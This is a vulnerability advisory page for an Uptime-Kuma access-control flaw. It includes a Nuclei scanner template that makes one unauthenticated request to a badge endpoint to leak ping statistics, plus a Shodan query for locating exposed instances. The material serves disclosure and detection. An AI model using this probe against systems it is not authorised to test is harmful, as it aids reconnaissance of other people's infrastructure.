CVE-2026-32230: Uptime-Kuma < v1.23.0 - Improper Access Control

2026-06-17 Uptime-Kuma PoC Public

Description

Uptime-Kuma before v1.23.0 is vulnerable to an information disclosure issue due to missing authorization on the /api/badge/1/ping/24 endpoint. An unauthenticated attacker can access this endpoint to leak ping statistics, such as average ping and ping history, for existing monitors without needing access to the protected status page. This can lead to unintended exposure of internal monitoring data.

PoC

id: CVE-2026-32230

info:
  name: Uptime-Kuma < v1.23.0 - Improper Access Control
  author: ritikchaddha
  severity: medium
  description: |
    Uptime-Kuma before v1.23.0 is vulnerable to an information disclosure issue due to missing authorization on the /api/badge/1/ping/24 endpoint. An unauthenticated attacker can access this endpoint to leak ping statistics, such as average ping and ping history, for existing monitors without needing access to the protected status page. This can lead to unintended exposure of internal monitoring data.
  impact: |
    Information disclosure of monitor ping data to unauthenticated attackers, potentially aiding reconnaissance efforts.
  remediation: |
    Upgrade to Uptime-Kuma version 1.23.0 or later, which patches the vulnerable endpoint by introducing proper authorization checks.
  reference:
    - https://github.com/advisories/GHSA-c7hf-c5p5-5g6h
    - https://nvd.nist.gov/vuln/detail/CVE-2026-32230
  classification:
    cve-id: CVE-2026-32230
    epss-score: 0.00905
    epss-percentile: 0.58061
    cwe-id: CWE-862
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cpe: cpe:2.3:a:louislam:uptime-kuma:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: louislam
    product: uptime-kuma
    shodan-query: title:"uptime-kuma"
  tags: cve,cve2026,uptime-kuma,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/badge/1/ping/24"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'Avg. Ping (')"
        condition: and
# digest: 4b0a00483046022100860e59e9797903a5033b07d92f6d9063510597d9617df9c8edaf2e56f1428e8e0221009ec78454ace429931dbd25444138cba88abfdf668b295dabe7d1ba31e21bc46a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-32230.yaml

References

Related Vulnerabilities